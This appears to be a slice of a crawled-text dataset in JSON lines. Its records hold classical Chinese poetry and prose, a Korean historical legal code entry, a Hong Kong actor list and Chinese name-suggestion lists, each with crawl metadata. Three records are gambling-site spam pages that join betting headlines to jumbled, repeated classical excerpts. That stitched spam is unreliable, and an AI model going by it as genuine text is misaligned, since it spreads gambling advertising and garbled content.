0.019811341539025307}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.619,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n辛弃疾 李白 白居易 杜甫 苏轼 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n永遇乐·京口北固亭怀古 千古江山,英雄无觅,孙仲谋处。舞榭歌台,风流总被雨打风吹去。斜阳草树,寻常巷陌,人道寄奴曾住。想当年,金戈铁马,气吞万里如虎。元嘉草草,封狼居胥,赢得仓皇北顾。四十三年,望中犹记,烽火扬州路。可堪回...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&poet_id=jvJoeN4gdu&poet_idLabel=%E8%BE%9B%E5%BC%83%E7%96%BE.htm","date":"2020-01-20T18:20:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250599718.13\/warc\/CC-MAIN-20200120165335-20200120194335-00497.warc.gz","language":"lzh","language_score":0.6114697456,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6114697456359863, \"cmn_Hani_score\": 0.27611419558525085, \"nan_Hani_score\": 0.05277914181351662, \"wuu_Hani_score\": 0.04429216682910919, \"yue_Hani_score\": 0.012328265234827995}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.772,"perplexity_score":500.0,"cluster_detection":1} +{"text":"银河官网当当网又有员工被曝弱阳性不是天灾是人祸\n太师挚适齐,亚饭干适楚,三饭缭适蔡,四饭缺适秦,鼓方叔入于河,播鼗武入于汉,少师阳、击磬襄入于海。\n传曰\"青采出於蓝,而质青於蓝\"者,教使然也。远哉贤主,昭然独见:诫齐王以慎内;诫燕王以无作怨,无俷德;诫广陵王以慎外,无作威与福。\n天子为伐胡,盛养马,马之来食长安者数万匹,卒牵掌者关中不足,乃调旁近郡。而胡降者皆衣食县官,县官不给,天子乃损膳,解乘舆驷,出御府禁藏以赡之。\n子曰:\"好勇疾贫,乱也。人而不仁,疾之已甚,乱也。\"\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/jhrsl.szmingpai.com\/XCNTL68461.html","date":"2020-02-21T12:26:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145529.37\/warc\/CC-MAIN-20200221111140-20200221141140-00341.warc.gz","language":"lzh","language_score":0.4380898774,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43808987736701965, \"cmn_Hani_score\": 0.3293813467025757, \"zxx_Latn_score\": 0.032290562987327576, \"nan_Hani_score\": 0.02992979995906353, \"yue_Hani_score\": 0.025673173367977142, \"jpn_Jpan_score\": 0.02211686223745346, \"wuu_Hani_score\": 0.018506992608308792, \"und_Tang_score\": 0.012796190567314625}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.418,"perplexity_score":500.0,"cluster_detection":1} +{"text":"188bet体育平台料指数有望震荡向上冲击前期高点\n其後战国并争,在於彊国禽敌,救急解纷而已,岂遑念斯哉!是时独有邹衍,明於五德之传,而散消息之分,以显诸侯。而亦因秦灭六国,兵戎极烦,又升至尊之日浅,未暇遑也。而亦颇推五胜,而自以为获水德之瑞,更名河曰\"德水\",而正以十月,色上黑。然历度闰馀,未能睹其真也。\n哀公问:\"弟子孰为好学?\"孔子对曰:\"有颜回者好学,不迁怒,不贰过,不幸短命死矣,今也则亡,未闻好学者也。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n大馀四十,小馀九百二十;大馀四十八,小馀二十四;\n项羽救钜鹿,枉矢西流,山东遂合从诸侯,西坑秦人,诛屠咸阳。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/xdld0.lingshenggroup.com\/vivo\/RAJHO52485.html","date":"2020-02-25T12:25:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146066.89\/warc\/CC-MAIN-20200225110721-20200225140721-00225.warc.gz","language":"lzh","language_score":0.4245173931,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4245173931121826, \"cmn_Hani_score\": 0.38964200019836426, \"nan_Hani_score\": 0.089433953166008, \"wuu_Hani_score\": 0.018905291333794594, \"zxx_Latn_score\": 0.01236279122531414, \"yue_Hani_score\": 0.01081083994358778, \"jpn_Jpan_score\": 0.01015378162264824}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.519,"perplexity_score":500.0,"cluster_detection":1} +{"text":"手机棋牌app下载Guggenheim首席投资官预测标普500指数可能还要下跌40%\n且说魏王曹丕,自即王位,将文武官僚,尽皆升赏;遂统甲兵三十万,南巡沛国谯县,大飨先茔。乡中父老,扬尘遮道,奉觞进酒,效汉高祖还沛之事。人报大将军夏侯惇病危,丕即还邺郡。时\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n第八十七回 征南寇丞相大兴师 抗天兵蛮王初受执\n第六十一回 赵云截江夺阿斗 孙权遗书退老瞒\n学恶乎始?恶乎终?曰:其数则始乎诵经,终乎读礼;其义则始乎为士,终乎为圣人,真积力久则入,学至乎没而后止也。故学数有终,若其义则不可须臾舍也。为之,人也;舍 之,禽兽也。故书者,政事之纪也;诗者,中声之所止也;礼者,法之大分,类之纲纪也。故学至乎礼而止矣。夫是之谓道德之极。礼之敬文也,乐之中和也,诗书之博也,春秋之微 也,在天地之间者毕矣。君子之学也,入乎耳,着乎心,布乎四体,形乎动静。端而言,蝡而动,一可以为法则。小人之学也,入乎耳,出乎口;口耳之间,则四寸耳,曷足以美七尺之躯哉!古之学者为己,今之学者为人。君子之学也,以美其身;小人之学也,以为禽犊。故不问而告谓之傲,问一而告二谓之囋。傲、非也,囋、非也;君子如向矣。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/xgzsy.panda-show.com\/txkwc\/740356.html","date":"2020-04-06T17:30:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371656216.67\/warc\/CC-MAIN-20200406164846-20200406195346-00446.warc.gz","language":"lzh","language_score":0.4605154395,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46051543951034546, \"cmn_Hani_score\": 0.29786738753318787, \"nan_Hani_score\": 0.08092604577541351, \"zxx_Latn_score\": 0.0280795656144619, \"wuu_Hani_score\": 0.02077099122107029, \"und_Tang_score\": 0.01655915379524231, \"und_Xsux_score\": 0.010584449395537376}","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n柳翔元 柳轺昱 柳苏鑫 柳涵清 柳文锦 柳三群 柳昆 柳庆 柳丰丰 柳政冶 柳阳光 柳宽 柳霁恒 柳霁航 柳霁函 柳霁纹 柳霁洋 柳祖勇 柳采 柳凡 柳深 柳卉 柳北 柳茂 柳远旭 柳辉桥 柳爱华 柳有平 柳泳西 柳政伟 柳正伟 柳惜春 柳浩乐 柳浩祥 柳浩翔 柳浩宇 柳清杨 柳清阳 柳运洲 柳方涛 柳同刚 柳滢畦 柳松言 柳江宁 柳玉连 柳罡溪 柳吉昊 柳泉璧 柳帅镐 柳隽宙 柳祺帅 柳思祺 柳飞骋 柳帆淇 柳迪海 柳鑫乐 柳亚璐 柳贺盈 柳淅盈 柳济滦 柳安臣 柳淅 柳雯洋 柳雯栖 柳千晔 柳宇汶 柳羽孟 柳羽汶 柳担 柳石 柳澹 柳惮 柳郸 柳单 柳耽 柳长荣 柳卜菲 柳双 柳菲菲 柳采心 柳小丫 柳海韵 柳芷苇 柳人译 柳芳萱 柳洋萱 柳幼蒂 柳力缤 柳力露 柳羽露 柳力璺 柳如潇 柳帆霄 柳帆庆 柳之浩 柳万云 柳真羽 柳振禹 柳昂 柳培然 柳晶培 柳兢培 柳培贤 柳培琦 柳贻霖 柳博霖 柳雅茜 柳真 柳春风 柳佳霖 柳枫诺 柳晓辉 柳林翔 柳丁 柳彦如 柳子达 柳子俊 柳少艾 柳若华 柳荣观 柳国锋 柳庆霄 柳翩跹 柳莫耶 柳冥鸿 柳茗邈 柳潋滟 柳来仪 柳静一 柳襟韵 柳江蓠 柳韵筝 柳惜茗 柳含灵 柳扶摇 柳恩泽 柳如苓 柳风斜 柳惜双 柳含幽 柳扶风 柳如瑾 柳怀冰 柳之湫 柳归云 柳琨 柳皓月 柳文盛 柳万华 柳小舟 柳俊林 柳淳潇 柳懿菲 柳懿芸 柳懿芷 柳恰如 柳懿翔 柳汝航 柳如航 柳俊义 柳浩屺 柳轩宇 柳昊宇 柳轩安 柳轩屺 柳明珠 柳黄禹 柳奕丹 柳香涵 柳香菡 柳奕彤 柳佳慧 柳乐彤 柳飞羽 柳亚妙 柳宗成 柳宝贵 柳铮 柳桂峰 柳贵峰 柳美杰 柳梅杰 柳立国 柳子弘 柳子恒 柳建姿 柳建芝 柳银黎 柳晓迪 柳茜芷 柳波延 柳姝芸 柳翔轩 柳耀轩 柳耀翔 柳炫芷 柳林芷 柳茗杰 柳舒琦 柳羽真 柳梦琦 柳琦梦 柳羽恬 柳翌梦 柳茜芝 柳茜洋 柳夕茜 柳千森 柳依琦 柳美伊 柳琪韵 柳才茗 柳鸥霭 柳岩蔹 柳颀兰 柳凌翔 柳凡焱 柳凡淼 柳芦蓝 柳杨琦 柳晴芝 柳采韦 柳琦韵 柳荟亭 柳荟海 柳岚思 柳圆岩 柳诗岩 柳改名 柳括号 柳明语 柳大学 柳瑞恒 柳词 柳苹芷 柳瓷 柳芷菲 柳好 柳亦菲 柳茜菲 柳传虎 柳树叶 柳越 柳岚馨 柳月馨 柳桂堂 柳茗馨 柳惠馨 柳清岚 柳卿岚 柳岚卿 柳梦瑜 柳州状 柳芦茜 柳茜芸 柳茜茗 柳茜儿 柳朵朵 柳卉茜 柳溪林 柳茜芮 柳苗 柳长君 柳碧茜 柳茜蕊 柳蕊茜 柳茜茜 柳义 柳召青 柳艺轩 柳乐儿 柳踟皑 柳贶昱 柳林江 柳坤江 柳坤池 柳华绿 柳水善 柳善水 柳善己 柳秋亦 柳之善 柳善戊 柳善之 柳善均 柳地 柳鄯 柳汕 柳汤 柳辰善 柳上辰 柳善辰","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/scw13.cn\/show_44E.aspx","date":"2020-03-30T21:52:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370497309.31\/warc\/CC-MAIN-20200330212722-20200331002722-00247.warc.gz","language":"lzh","language_score":0.4633075595,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.46330755949020386, \"und_Kits_score\": 0.40348148345947266, \"nan_Hani_score\": 0.031903043389320374, \"cmn_Hani_score\": 0.030795028433203697, \"jpn_Jpan_score\": 0.029477592557668686, \"wuu_Hani_score\": 0.019631264731287956}","num_words":293,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.462,"perplexity_score":500.0,"cluster_detection":1} +{"text":"咎言\n正德丙寅冬十一月,守仁以罪下錦衣獄。省愆內訟,時有所述。既出,而錄之。\n何玄夜之漫漫兮,悄予懷之獨結。嚴霜下而增寒兮,明月之在隙。風呶呶以憎木兮,鳥驚呼而未息。魂營營以惝恍兮,目窅其焉極!懍寒飆之中人兮,杳不知其所自。夜展轉而九起兮,沾予襟之如泗。胡定省之弗遑兮,豈荼甘之如薺?懷前哲之耿光兮,恥周容以為比。何天高之冥冥兮,孰察予之衷?予匪戚於累囚兮,牿匪予之為恫。沛洪波之浩浩兮,造雲阪之蒙蒙;稅予駕其安止兮,終予去此其焉從?孰癭瘰之在頸兮,謂累足之何傷?熏目而弗顧兮,惟盲者以為常。孔訓之服膺兮,惡訐以為直。辭婉變期巷遇兮,豈予言之未力?皇天之無私兮,鑒予情之靡他!寧保身之弗知兮,膺斧瘰之謂何。蒙出位之為愆兮,信愚忠者蹈亟。苟聖明之有裨兮,雖九死其焉恤!\n亂曰:予年將中,歲月遒兮!深谷崆峒,逝息遊兮;飄然淩風,八極周兮。孰樂之同,不均憂兮。匪修名崇仁之求兮,出處時從天命何憂兮!\n|本明朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%92%8E%E8%A8%80","date":"2020-07-02T10:16:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655878639.9\/warc\/CC-MAIN-20200702080623-20200702110623-00537.warc.gz","language":"lzh","language_score":0.4523657262,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4523657262325287, \"cmn_Hani_score\": 0.13658231496810913, \"nan_Hani_score\": 0.08695253729820251, \"und_Tang_score\": 0.04468460753560066, \"zxx_Latn_score\": 0.04024993255734444, \"yue_Hani_score\": 0.029262900352478027, \"und_Vaii_score\": 0.019594183191657066, \"jpn_Jpan_score\": 0.015351460315287113, \"und_Xsux_score\": 0.012225736863911152, \"und_Lina_score\": 0.012016283348202705}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.395,"perplexity_score":500.0,"cluster_detection":1} +{"text":"林於錦 校對提供\n董子春秋繁露卷第十二\n陰陽義第四十九\n天地之常,一陰一陽。陽者天之德也,陰者天之刑也。迹陰陽終歲之行,以觀天之所親而任。成天之功,猶謂之空,空者之實也。故清凓之於歲也,若酸醎之於味也,僅有而已矣。聖人之治,亦從而然。天之少陰用於功,太陰用於空。人之少陰用於嚴,而太陰用於喪。喪亦空,空亦喪也。是故天之道以三時成生,以一時喪死。死之者,謂百物枯落也;喪之者,謂陰氣悲哀也。天亦有喜怒之氣、哀樂之心,與人相副。以類合之,天人一也。春,喜氣也,故生;秋,怒氣也,故殺;夏,樂氣也,故養;冬,哀氣也,故藏。四者天人同有之。有其理而一用之。與天同者大治,與天異者大亂。故為人主之道,莫明於在身之與天同者而用之,使喜怒必當義乃出,如寒暑之必當其時乃發也。使德之厚於刑也,如陽之多於陰也。是故天之行陰氣也,少取以成秋,其餘以歸之冬。聖人之行陰氣也,少取以立嚴,其餘以歸之喪。喪亦人之冬氣,故人之太陰,不用於刑而用於喪,天之太陰,不用於物而用於空。空亦為喪,喪亦為空,其實一也,皆喪死亡之心也。","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.chineseclassic.com\/content\/1321","date":"2020-07-12T23:15:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657140337.79\/warc\/CC-MAIN-20200712211314-20200713001314-00303.warc.gz","language":"lzh","language_score":0.4840094447,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.48400944471359253, \"cmn_Hani_score\": 0.4391040503978729, \"nan_Hani_score\": 0.03902773931622505}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.454,"perplexity_score":500.0,"cluster_detection":1} +{"text":"《心術下》\n形不正者德不來,中不靜者心不 治。正形攝德。萬物畢得。翼然自來,然 莫知其極。昭知天下,通於四極。是 故曰,無以物亂官,毋以官亂心,此之 謂內得。是故意氣定然後反正。氣 者身之充也。行者正之義也。充不美, 則心不得。行不正,則民不服。是故 聖人若天然,無私覆也;若地然,無私 載也。私者亂天下者也。凡物載名 而來,聖人因而裁之,而天下治。實不 傷不亂於天下而天下治。專於意,一 於心,耳目端,知遠之證。 能專乎。能一乎。能毋卜筮而知凶 吉乎。能止乎。能已乎。能毋問於人,而 自得之於己乎。故曰,思之,思之不 得,鬼神教之。非鬼神之力也,其精氣 之極也。一氣能變曰精。一事能變 曰智。慕選者所以等事也。極變者所 以應物也。慕選而不亂,極變而不 煩,執一之君子。執一而不失,能君萬 物。日月之與同光,天地之與同理。 聖人裁物,不為物使。心安,是國安 也。心治,是國治也。治也者心也。安 也者心也。治心在於中,治言出於口, 治事加於民。故功作而民從,則百姓 治矣。所以操者非刑也,所以危者非 怒也。民人操,百姓治,道其本,至也。 至不至無,非所人而亂。凡在有司執 制者之例,非道也。聖人之道,若存 若亡。援而用之,歿世不亡。與時變而 不化,應物而不移,日用之而不化。 人能正靜者,筋肕而骨強。能戴大 圓者體乎大方。鏡大清者視乎大明。 正靜不失,日新其德,昭知天下,通於 四極。全心在中,不可匿。外見於形 容,可知於顏色。善氣迎人,親如弟兄。 惡氣迎人,害於戈兵。不言之言,聞於 雷鼓。金心之形,明於日月,察於父母。 昔者明王之愛天下,故天下可附。 暴王之惡天下,故天下可離。故賞之 不足以為愛,刑之不足以為惡。賞者 愛之末也。刑者惡之末也。凡民之 生也,必以正平,所以失之者,必以喜 樂哀怒。節怒莫若樂,節樂莫若禮,守 禮莫若敬。外敬而內靜者,必反其性。 豈無利事哉,我無利心,豈無安處 哉。我無安心。心之中又有心意以先 言,意然後形,形然後思,思然後知,凡 心之形,過知失生。是故 內聚以為泉原,泉之不竭, 表裡遂通。泉之不涸,四支 堅固。能令用之,被服四固。 是故聖人一言解之。上察 於天,下察於地。","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/daoism.ir\/post\/24","date":"2020-08-15T11:27:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439740838.3\/warc\/CC-MAIN-20200815094903-20200815124903-00239.warc.gz","language":"lzh","language_score":0.538295269,"language_script":"Hani","minhash_cluster_size":18,"top_langs":"{\"lzh_Hani_score\": 0.5382952690124512, \"cmn_Hani_score\": 0.3299778997898102, \"nan_Hani_score\": 0.11343948543071747, \"wuu_Hani_score\": 0.010883775539696217}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.765,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第280조 盜大祀神御物\n1. 凡盜大祀神祇御用祭器・帷帳等物 及盜饗薦玉帛・牲牢・饌具之屬者 皆斬①㉮ 其未進神御 及營造未成 若已奉祭訖之物 及其餘官物 皆杖一百徒三年㉯ 若計贓重於本罪者 各加盜罪一等② 並刺字.㉰\n① 謂在殿內及已至祭所而爲盜者\n② 謂監守常人盜者 各加監守常人盜罪一等\n㉮ 講曰: '饌具' 謂棗栗脯修之類\n㉯ 講曰: '未進神御及營造未成'者 謂祭器帷帳等物, 擬欲供進神御而未供進 及營造未曾完備者 '若已奉祭訖之物' 謂玉帛牲牢饌具之屬 饗薦已了退而盜者 '及其餘官物' 謂大祀所用釜甑刀匕之屬 非供神用者 皆杖一百徒三年.\n㉰ 講曰: 本條稱'加一等' 謂如監守自盜二十貫 常人盜四十五貫 並該杖一百流二千里 卽坐以流二千五百里 又若計贓 該流二千五百里 卽坐以流三千里 設若計贓雖多 罪止杖一百流三千里 不得加入於死 若計贓與徒三年罪等者 不加.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_160_0180_0010_0040","date":"2020-08-09T14:35:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738555.33\/warc\/CC-MAIN-20200809132747-20200809162747-00483.warc.gz","language":"lzh","language_score":0.6136801243,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6136801242828369, \"cmn_Hani_score\": 0.3600181043148041, \"nan_Hani_score\": 0.01812048628926277}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.552,"perplexity_score":500.0,"cluster_detection":1} +{"text":"熱門頁面 郭富城 馬德鐘 湯盈盈 馬浚偉 王浩信 姚子羚 黃德斌 成龍 所有項目 (267) # A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他 J Joe Junior 一 一鳥 任 任達華 伍 伍衛國 伍詠薇 何 何卓瑩 佘 佘詩曼 余 余慕蓮 冼 冼灝英 劉 劉丹 劉俐 劉德華 劉松仁 劉江 劉美君 劉青雲 古 古天樂 古明華 司 司徒瑞祈 向 向海嵐 吳 吳卓羲 吳君如 吳啟華 吳孟達 吳家樂 吳岱融 吳幸美 吳業坤 吳鎮宇 呂 呂慧儀 呂方 周 周國賢 (歌手) 周海媚 周潤發 唐 唐詩詠 商 商天娥 喬 喬寶寶 單 單立文 夏 夏雨 姚 姚子羚 姜 姜大衛 孫 孫耀威 安 安德尊 宋 宋熙年 宋芝齡 宣 宣萱 小 小儀 岳 岳華 崔 崔建邦 布 布偉傑 廖 廖啟智 廖碧兒 張 張兆輝 張可頤 張嘉兒 張國強 張國榮 張學友 張家輝 張慧雯 張曼玉 張祟基 徐 徐子珊 徐榮 徐淑敏 徐錦江 成 成龍 戴 戴志偉 (藝人) 戴耀明 敖 敖嘉年 方 方國珊 曹 曹敏莉 曹永廉 曾 曾江 朱 朱千雪 朱咪咪 朱慧敏 朱晨麗 朱璇 李 李亞男 李佳芯 李司棋 李國麟 李天翔 李小龍 李思捷 李成昌 李施嬅 李永豪 李穎芝 李豪 李霖恩 李香琴 杜 杜汶澤 杜麗莎 林 林保怡 林子善 林峯 林泳淘 林盛斌 林穎彤 梁 梁朝偉 梁榮忠 梁競徽 梁靖琪 梅 梅艷芳 森 森美 楊 楊思琦 楊怡 楊明 楊洛婷 楊秀惠 楊詩敏 歐 歐瑞偉 歐錦棠 歐陽震華 歐陽靖 江 江嘉敏 江美儀 江華 汪 汪明荃 沈 沈卓盈 沈殿霞 河 河國榮 洪 洪天明 洪永城 游 游莨維 湯 湯寶珍 湯盈盈 溫 溫兆倫 滕 滕麗名 潘 潘曉彤 王 王君馨 王喜 王梓軒 王浩信 王灝兒 王祖藍 甄 甄子丹 田 田蕊妮 盧 盧宛茵 盧海鵬 石 石修 石天欣 秦 秦沛 羅 羅仲謙 羅嘉良 羅樂林 羅莽 羅蘭 羅鈞滿 羅霖 翁 翁美玲 肥 肥媽 胡 胡定欣 胡杏兒 胡楓 苗 苗僑偉 莫 莫文蔚 萬 萬梓良 萬綺雯 葉 葉德嫻 葉振棠 葉翠翠 蒙 蒙嘉慧 蔡 蔡一傑 蔡少芬 蔡思貝 蔣 蔣志光 蕭 蕭正楠 薛 薛家燕 藍 藍潔瑛 蘇 蘇志威 袁 袁偉豪 袁嘉敏 裕 裕美 許 許亦妮 許冠傑 許冠文 許冠英 許廷鏗 許紹雄 謝 謝天華 謝雪心 譚 譚玉瑛 趙 趙學而 趙希洛 趙薇 趙雅芝 邵 邵美琪 郭 郭富城 郭峰 郭政鴻 郭晉安 郭羡妮 郭羨妮 鄧 鄧健泓 鄧梓峰 鄧萃雯 鄭 鄭則仕 下一頁 取自 \"https:\/\/evchk.wikia.org\/zh\/wiki\/分類:電視藝員?oldid=403551\" 分類 娛樂圈人物 電視 除非另有註明,否則社區內容均使用CC-BY-SA授權條款。","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/evchk.wikia.org\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E9%9B%BB%E8%A6%96%E8%97%9D%E5%93%A1","date":"2021-07-25T19:41:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151760.94\/warc\/CC-MAIN-20210725174608-20210725204608-00639.warc.gz","language":"lzh","language_score":0.8115876913,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8115876913070679, \"cmn_Hani_score\": 0.1531868577003479, \"nan_Hani_score\": 0.025985214859247208}","num_words":335,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.319,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.87,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n魏娥 魏芳 魏芬 魏红 魏洁 魏婧 魏娟 魏莉 魏丽 魏琳 魏玲 魏梅 魏美 魏娜 魏妞 魏裴 魏萍 魏倩 魏琴 魏琼 魏冉 魏蓉 魏茹 魏婷 魏文 魏霞 魏秀 魏雪 魏娅 魏艳 魏燕 魏瑶 魏怡 魏瑛 魏莹 魏颖 魏玉 魏媛 魏悦 魏阿玲 魏阿琴 魏阿雪 魏阿英 魏啊芬 魏蔼玲 魏蔼茹 魏艾芳 魏爱红 魏爱玲 魏爱梅 魏爱萍 魏爱琴 魏爱文 魏爱霞 魏爱英 魏爱玉 魏嫒颖 魏安红 魏安娜 魏安玉 魏昂琴 魏八瑶 魏百英 魏柏琳 魏柏文 魏柏雪 魏宝红 魏宝娟 魏宝蓉 魏保红 魏北美 魏北莹 魏贝芬 魏贝红 魏贝倩 魏倍红 魏蓓芳 魏本娥 魏本娟 魏本玲 魏本蓉 魏本雪 魏比蓉 魏必怡 魏碧红 魏碧琳 魏碧萍 魏碧琼 魏碧雪 魏碧瑶 魏碧莹 魏碧颖 魏碧媛 魏边蓉 魏彬茹 魏彬燕 魏斌芬 魏斌娟 魏冰婵 魏冰芳 魏冰芬 魏冰洁 魏冰琳 魏冰倩 魏冰婷 魏冰秀 魏冰雪 魏冰妍 魏冰瑶 魏冰莹 魏丙霞 魏丙燕 魏炳文 魏炳玉 魏铂文 魏博婷 魏博文 魏采蓉 魏采霞 魏彩娥 魏彩芳 魏彩红 魏彩娟 魏彩玲 魏彩蓉 魏彩霞 魏彩燕 魏彩怡 魏彩英 魏草芬 魏岑玲 魏层蓉 魏茶婷 魏昌悦 魏长红 魏长娟 魏长琳 魏长蓉 魏长霞 魏长雪 魏长艳 魏长玉 魏常红 魏常文 魏畅颖 魏焯瑶 魏超文 魏超颖 魏朝琼 魏朝霞 魏琛芳 魏尘蓉 魏臣瑶 魏辰倩 魏辰雪 魏陈蓉 魏陈怡 魏晨玲 魏晨茹 魏晨雪 魏晨颖 魏晨悦 魏丞琳 魏成丽 魏成蓉 魏成艳 魏成英 魏呈倩 魏承花 魏承娟 魏承霞 魏城瑶 魏崇文 魏崇英 魏楚芳 魏楚芬 魏楚娟 魏楚琳 